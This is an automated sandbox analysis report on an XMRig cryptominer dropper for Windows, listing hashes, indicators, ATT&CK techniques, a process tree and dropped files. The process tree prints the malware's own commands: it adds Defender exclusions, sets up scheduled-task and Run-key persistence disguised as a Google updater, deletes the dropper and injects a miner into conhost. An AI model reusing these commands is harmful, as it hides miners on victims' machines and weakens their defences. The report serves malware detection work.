xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
497s
max time network
1897s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
24-01-2024 17:15

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General

Target

grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2628 created 1212	2628	LM3BR4UBmKBzBP5H.exe	13
PID 2628 created 1212	2628	LM3BR4UBmKBzBP5H.exe	13
PID 2628 created 1212	2628	LM3BR4UBmKBzBP5H.exe	13
PID 2628 created 1212	2628	LM3BR4UBmKBzBP5H.exe	13
PID 1496 created 1212	1496	updater.exe	13
PID 1496 created 1212	1496	updater.exe	13
PID 1496 created 1212	1496	updater.exe	13
PID 1496 created 1212	1496	updater.exe	13
PID 1948 created 1212	1948	conhost.exe	13
PID 1496 created 1212	1496	updater.exe	13

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 28 IoCs

miner

resource	yara_rule
behavioral17/memory/1072-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-102-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-131-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-133-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-135-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-139-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral17/memory/1072-141-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2136	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1496	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
540	taskeng.exe

UPX packed file 29 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral17/memory/1072-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-102-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-131-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-133-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-135-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-139-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral17/memory/1072-141-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1496 set thread context of 1948	1496	updater.exe	47
PID 1496 set thread context of 1072	1496	updater.exe	54

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	LM3BR4UBmKBzBP5H.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
528	schtasks.exe
1820	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1988	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b05a857cb84fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2628	LM3BR4UBmKBzBP5H.exe
2628	LM3BR4UBmKBzBP5H.exe
2616	powershell.exe
2628	LM3BR4UBmKBzBP5H.exe
2628	LM3BR4UBmKBzBP5H.exe
1068	powershell.exe
2628	LM3BR4UBmKBzBP5H.exe
2628	LM3BR4UBmKBzBP5H.exe
2628	LM3BR4UBmKBzBP5H.exe
2628	LM3BR4UBmKBzBP5H.exe
1908	powershell.exe
1496	updater.exe
1496	updater.exe
1400	powershell.exe
1496	updater.exe
1496	updater.exe
332	powershell.exe
1496	updater.exe
1496	updater.exe
1496	updater.exe
1496	updater.exe
1948	conhost.exe
1948	conhost.exe
1496	updater.exe
1496	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	1068	powershell.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	332	powershell.exe
Token: SeDebugPrivilege	1496	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1988	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1988	WMIC.exe
Token: SeSecurityPrivilege	1988	WMIC.exe
Token: SeTakeOwnershipPrivilege	1988	WMIC.exe
Token: SeLoadDriverPrivilege	1988	WMIC.exe
Token: SeSystemtimePrivilege	1988	WMIC.exe
Token: SeBackupPrivilege	1988	WMIC.exe
Token: SeRestorePrivilege	1988	WMIC.exe
Token: SeShutdownPrivilege	1988	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1988	WMIC.exe
Token: SeUndockPrivilege	1988	WMIC.exe
Token: SeManageVolumePrivilege	1988	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1988	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1988	WMIC.exe
Token: SeSecurityPrivilege	1988	WMIC.exe
Token: SeTakeOwnershipPrivilege	1988	WMIC.exe
Token: SeLoadDriverPrivilege	1988	WMIC.exe
Token: SeSystemtimePrivilege	1988	WMIC.exe
Token: SeBackupPrivilege	1988	WMIC.exe
Token: SeRestorePrivilege	1988	WMIC.exe
Token: SeShutdownPrivilege	1988	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1988	WMIC.exe
Token: SeUndockPrivilege	1988	WMIC.exe
Token: SeManageVolumePrivilege	1988	WMIC.exe
Token: SeLockMemoryPrivilege	1072	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1068 wrote to memory of 528	1068	powershell.exe	33
PID 1068 wrote to memory of 528	1068	powershell.exe	33
PID 1068 wrote to memory of 528	1068	powershell.exe	33
PID 2136 wrote to memory of 1616	2136	cmd.exe	38
PID 2136 wrote to memory of 1616	2136	cmd.exe	38
PID 2136 wrote to memory of 1616	2136	cmd.exe	38
PID 1908 wrote to memory of 2296	1908	powershell.exe	39
PID 1908 wrote to memory of 2296	1908	powershell.exe	39
PID 1908 wrote to memory of 2296	1908	powershell.exe	39
PID 540 wrote to memory of 1496	540	taskeng.exe	41
PID 540 wrote to memory of 1496	540	taskeng.exe	41
PID 540 wrote to memory of 1496	540	taskeng.exe	41
PID 332 wrote to memory of 1820	332	powershell.exe	46
PID 332 wrote to memory of 1820	332	powershell.exe	46
PID 332 wrote to memory of 1820	332	powershell.exe	46
PID 1496 wrote to memory of 1948	1496	updater.exe	47
PID 2420 wrote to memory of 1988	2420	cmd.exe	53
PID 2420 wrote to memory of 1988	2420	cmd.exe	53
PID 2420 wrote to memory of 1988	2420	cmd.exe	53
PID 1496 wrote to memory of 1072	1496	updater.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1212
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2628
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1068
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2296
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\LM3BR4UBmKBzBP5H.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2136
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1616
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1400
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:332
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1820
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1948
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1436
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2420
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1988
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1072

C:\Windows\system32\taskeng.exe
taskeng.exe {C913DFA7-B357-44E3-A3E9-635C1E83335B} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:540
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
2.0MB

MD5
a16a669a09bf158058b83e04e69fe38e

SHA1
f6c94763850d9e590d86057139e8895a7aacdeea

SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
638KB

MD5
43166c89d8a77bd64cef58bc6eb147a4

SHA1
7da7aceb703c91d70a1d95aaa1fc8819f3b38a25

SHA256
ceda1c5e8bd9a0bc23eb68402d3569957875c54d6da1a077a5070960d757ca4e

SHA512
270d6fc0ca8265fd96b5d0ba74b94ad98539c6735c9627d90a1290f4b49c87e7426e717e3533bea5e31f23d19c3295dc1050aaea0b11aeefe7819ed33ee441ee

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
3aab02410e24a8ac240819683ec0cac8

SHA1
542aef4c7beee3210945a6a7e98b0803b924a38d

SHA256
e3058be41a006b9c7ff77d71d0a0f38f8df6e1e1393fe44bfb2d9b49e03ab6aa

SHA512
ff4c1f155a6692096fed6d08be72ee01ea52663d2ed987da3d529391b193ce476bfbbc14b97d6b498826c67fb394febc9999eacbdaa2022766b957bf620fac26

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XX2D298GCE5R68N4VLR7.temp

Filesize
7KB

MD5
a7f99b1afc495ae869a8c37357380ddd

SHA1
abda98a23c04ee2eb2c970b5437ef9dfa1b8d0fd

SHA256
9b29f1c49589a836ac38505eae9787e581e9c2a5e7302da019ea3b6d6b901699

SHA512
b7efde2a08a2c2f37e22c09ffb1727a151d0f1e495c8729c072a9e1e7582e4c238d3152c7333ec40cd847510bfce53e12984add158dc5eaa3e2aeac056efcc51

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
1.7MB

MD5
03cabfbff744a95efc65b7b29f84c0b6

SHA1
36014f0a293036075a9480e530bb8a13e622de68

SHA256
4d4632b2f58f83f325c2e775cb47303faa4aa2e936e269c1be36b3f39a9caed2

SHA512
5edc5caf7bdf4c8914712953117b196d241e34494c32b784b25b225586b7b2fbca445d56fdb9fbae59d5436bef6f43d5f86028f2974799081b984969951cd830

Download Submit
memory/332-67-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/332-62-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/332-63-0x0000000001100000-0x0000000001180000-memory.dmp

Filesize
512KB

Download
memory/332-64-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/332-65-0x0000000001100000-0x0000000001180000-memory.dmp

Filesize
512KB

Download
memory/332-66-0x0000000001100000-0x0000000001180000-memory.dmp

Filesize
512KB

Download
memory/1068-30-0x00000000023A0000-0x0000000002420000-memory.dmp

Filesize
512KB

Download
memory/1068-48-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/1068-23-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/1068-19-0x000000001B160000-0x000000001B442000-memory.dmp

Filesize
2.9MB

Download
memory/1068-24-0x00000000023A0000-0x0000000002420000-memory.dmp

Filesize
512KB

Download
memory/1068-25-0x00000000023A0000-0x0000000002420000-memory.dmp

Filesize
512KB

Download
memory/1068-21-0x00000000023A0000-0x0000000002420000-memory.dmp

Filesize
512KB

Download
memory/1068-28-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/1068-29-0x00000000023A0000-0x0000000002420000-memory.dmp

Filesize
512KB

Download
memory/1068-20-0x000007FEF4F30000-0x000007FEF58CD000-memory.dmp

Filesize
9.6MB

Download
memory/1068-32-0x00000000023A0000-0x0000000002420000-memory.dmp

Filesize
512KB

Download
memory/1068-33-0x00000000023A0000-0x0000000002420000-memory.dmp

Filesize
512KB

Download
memory/1068-22-0x00000000022D0000-0x00000000022D8000-memory.dmp

Filesize
32KB

Download
memory/1072-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-141-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-139-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-135-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-133-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-131-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-129-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-127-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-125-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-123-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-121-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-119-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-117-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-115-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-102-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-94-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-92-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-90-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-88-0x00000000008C0000-0x00000000008E0000-memory.dmp

Filesize
128KB

Download
memory/1072-87-0x0000000000850000-0x0000000000870000-memory.dmp

Filesize
128KB

Download
memory/1072-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1072-76-0x00000000002F0000-0x0000000000310000-memory.dmp

Filesize
128KB

Download
memory/1072-78-0x0000000000850000-0x0000000000870000-memory.dmp

Filesize
128KB

Download
memory/1072-79-0x00000000008C0000-0x00000000008E0000-memory.dmp

Filesize
128KB

Download
memory/1072-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1400-54-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
9.6MB

Download
memory/1400-59-0x0000000000E40000-0x0000000000EC0000-memory.dmp

Filesize
512KB

Download
memory/1400-60-0x000007FEF58D0000-0x000007FEF626D000-memory.dmp

Filesize
